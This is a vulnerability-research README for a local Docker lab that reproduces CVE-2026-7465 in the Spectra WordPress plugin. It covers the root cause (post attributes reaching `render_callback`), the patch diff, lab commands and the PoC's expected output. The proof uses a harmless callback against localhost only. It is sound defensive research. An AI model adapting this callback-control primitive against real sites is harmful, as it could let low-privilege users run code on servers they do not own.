Share
## https://sploitus.com/exploit?id=3B2CAEAD-C048-5679-9B43-4A34B170FFE2
# CVE-2026-7465 - Spectra Gutenberg Blocks Local Lab

Local Docker lab for analyzing and reproducing CVE-2026-7465 in the WordPress plugin **Spectra Gutenberg Blocks** (`ultimate-addons-for-gutenberg`).

This lab compares:

- `vuln`: Spectra `2.19.25`
- `patched`: Spectra `2.19.26`

The proof is intentionally least-harm. It does not execute shell commands, upload files, create users, or modify the container directly. The PoC creates a temporary WordPress draft post, checks rendered block behavior, then deletes the draft.

---

## Summary

CVE-2026-7465 is a vulnerability in Spectra Gutenberg Blocks where user-controlled Gutenberg block attributes could be passed into WordPress block registration arguments.

In the vulnerable version, Spectra dynamically registers parsed `uagb/*` blocks using block attributes from post content:

```php
$registry->register( $block['blockName'], $block['attrs'] );
```

Because a Contributor can create post content containing Gutenberg block comments, an authenticated Contributor-level user can influence registration arguments such as `render_callback`.

Version `2.19.26` fixes the issue by registering the block with an empty argument array:

```php
$registry->register( $block['blockName'], array() );
```

This prevents post-controlled block attributes from becoming PHP block registration options.

---

## Affected Component

Product:

```text
Spectra Gutenberg Blocks
WordPress plugin slug: ultimate-addons-for-gutenberg
```

Versions used in this lab:

```text
vulnerable: 2.19.25
patched:    2.19.26
```

WordPress.org changelog for `2.19.26` states that the update addressed a security bug and credits Wordfence for responsible reporting.

---

## Root Cause

The vulnerable logic is located in:

```text
classes/class-uagb-init-blocks.php
```

The vulnerable code checks whether a parsed block name contains the `uagb/` namespace. If the block is not already registered, it registers the block dynamically.

### Vulnerable behavior

```php
if ( ! empty( $block['blockName'] ) && strpos( $block['blockName'], 'uagb/' ) !== false ) {

    $registry = WP_Block_Type_Registry::get_instance();

    if ( ! $registry->is_registered( $block['blockName'] ) ) {
        $registry->register( $block['blockName'], $block['attrs'] );
    }
}
```

The issue is the second argument:

```php
$block['attrs']
```

In Gutenberg, block attributes can be stored inside post content, for example:

```html

```

A Contributor can create draft post content. Therefore, the attacker can influence `$block['attrs']`.

When those attributes are passed into `WP_Block_Type_Registry::register()`, they become block registration arguments. One sensitive registration argument is:

```text
render_callback
```

This creates a callback-control primitive.

### Patched behavior

In `2.19.26`, Spectra still registers the parsed `uagb/*` block name, but no longer passes post-controlled attributes as registration arguments:

```php
if ( ! empty( $block['blockName'] ) && strpos( $block['blockName'], 'uagb/' ) !== false ) {

    $registry = WP_Block_Type_Registry::get_instance();

    if ( ! $registry->is_registered( $block['blockName'] ) ) {
        $registry->register( $block['blockName'], array() );
    }
}
```

The important change is:

```diff
- $registry->register( $block['blockName'], $block['attrs'] );
+ $registry->register( $block['blockName'], array() );
```

This removes attacker-controlled attributes from the block registration path.

---

## Why the PoC Uses `maybe_serialize`

The PoC does not use dangerous PHP callbacks such as `system`, `exec`, `shell_exec`, or `passthru`.

Instead, it uses:

```text
maybe_serialize
```

The proof block content is:

```html


```

Expected behavior:

```text
vulnerable:
  render_callback from block attrs is accepted
  marker appears in rendered content

patched:
  render_callback from block attrs is ignored
  marker does not appear in rendered content
```

This proves the vulnerable behavior without executing commands or writing files.

---

## Lab Architecture

Services:

```text
db_vuln      MariaDB for vulnerable WordPress
db_patched   MariaDB for patched WordPress
vuln         WordPress + Spectra 2.19.25
patched      WordPress + Spectra 2.19.26
seed_vuln    one-shot WordPress setup for vulnerable site
seed_patched one-shot WordPress setup for patched site
```

Local ports:

```text
http://127.0.0.1:8181 -> vulnerable WordPress
http://127.0.0.1:8182 -> patched WordPress
```

Seeded WordPress user:

```text
username: contributor
password: contributorpass123!
role:     contributor
```

The PoC is HTTP-only. It interacts with WordPress through login and REST API requests.

---

## Repository Structure

```text
.
โ”œโ”€โ”€ docker-compose.yml
โ”œโ”€โ”€ patched
โ”‚   โ””โ”€โ”€ Dockerfile
โ”œโ”€โ”€ poc
โ”‚   โ””โ”€โ”€ poc.py
โ”œโ”€โ”€ scripts
โ”‚   โ””โ”€โ”€ seed-wordpress.sh
โ”œโ”€โ”€ vuln
โ”‚   โ””โ”€โ”€ Dockerfile
```

---

## Running the Lab

Start from a clean environment:

```bash
docker compose down -v --remove-orphans
docker compose up -d --build
```

Check containers:

```bash
docker compose ps
```

Check seed logs:

```bash
docker compose logs seed_vuln seed_patched
```

Expected seed result:

```text
[+] seed vuln: done
[+] seed patched: done
```

---

## Running the PoC

Test vulnerable target:

```bash
python3 poc/poc.py -t http://127.0.0.1:8181
```

Expected vulnerable verdict:

```text
[VERDICT]
  VULNERABLE_BEHAVIOR_OBSERVED
```

Test patched target:

```bash
python3 poc/poc.py -t http://127.0.0.1:8182
```

Expected patched verdict:

```text
[VERDICT]
  PATCHED_BEHAVIOR_OBSERVED
```

---

## Expected Output

### Vulnerable - Spectra 2.19.25

```text
[SCOPE] local-only | HTTP-only | least-harm | no shell | no file write
[TARGET] http://127.0.0.1:8181

[INFO] fingerprinting target
  spectra_stable_tag: 2.19.25
  spectra_changelog_latest: 2.19.25
[INFO] logging in as contributor
[OK] login successful
[INFO] collecting REST nonce
[INFO] nonce candidates found: 4
[OK] validated REST nonce
[INFO] creating temporary draft post
[OK] created draft post id=16
[INFO] fetching rendered content

[EVIDENCE]
  raw_contains_marker:      True
  rendered_contains_marker: True
  rendered_length:          227
  proof_callback:           maybe_serialize
  synthetic_block:          uagb/cve-2026-7465-lab

[VERDICT]
  VULNERABLE_BEHAVIOR_OBSERVED
[INFO] cleaning up draft post id=16
[OK] cleanup complete
```

### Patched - Spectra 2.19.26

```text
[SCOPE] local-only | HTTP-only | least-harm | no shell | no file write
[TARGET] http://127.0.0.1:8182

[INFO] fingerprinting target
  spectra_stable_tag: 2.19.26
  spectra_changelog_latest: 2.19.26
[INFO] logging in as contributor
[OK] login successful
[INFO] collecting REST nonce
[INFO] nonce candidates found: 4
[OK] validated REST nonce
[INFO] creating temporary draft post
[OK] created draft post id=14
[INFO] fetching rendered content

[EVIDENCE]
  raw_contains_marker:      True
  rendered_contains_marker: False
  rendered_length:          1
  proof_callback:           maybe_serialize
  synthetic_block:          uagb/cve-2026-7465-lab

[VERDICT]
  PATCHED_BEHAVIOR_OBSERVED
[INFO] cleaning up draft post id=14
[OK] cleanup complete
```

---

## Evidence Interpretation

The important comparison is:

```text
raw_contains_marker
rendered_contains_marker
```

Both vulnerable and patched targets should show:

```text
raw_contains_marker: True
```

This confirms the same block content was successfully saved into a temporary draft post.

The difference is in rendered output:

```text
vulnerable:
  rendered_contains_marker: True

patched:
  rendered_contains_marker: False
```

This demonstrates that the vulnerable version accepted the post-controlled `render_callback`, while the patched version did not.

## Cleanup

Stop and remove containers, networks, and volumes:

```bash
docker compose down -v --remove-orphans
```

Remove Python cache if present:

```bash
rm -rf poc/__pycache__
```

---

## Safety Notes

This repository is for local security research and portfolio demonstration only.

The PoC:

- only targets localhost or loopback addresses
- uses authenticated WordPress access in the local lab
- creates a temporary draft post
- deletes the draft post after checking rendered behavior
- does not execute shell commands
- does not upload files
- does not create users
- does not modify Docker containers directly
- does not provide a remote exploitation workflow

Do not run this against systems you do not own or do not have explicit permission to test.

---

## References

- WordPress.org Plugin Page: Spectra Gutenberg Blocks - Website Builder for the Block Editor  
  https://wordpress.org/plugins/ultimate-addons-for-gutenberg/

- WordPress.org Changelog: `2.19.26 - Monday, 4th May 2026` security update credited to Wordfence  
  https://wordpress.org/plugins/ultimate-addons-for-gutenberg/#developers

- WordPress Plugin SVN / Trac  
  https://plugins.trac.wordpress.org/browser/ultimate-addons-for-gutenberg/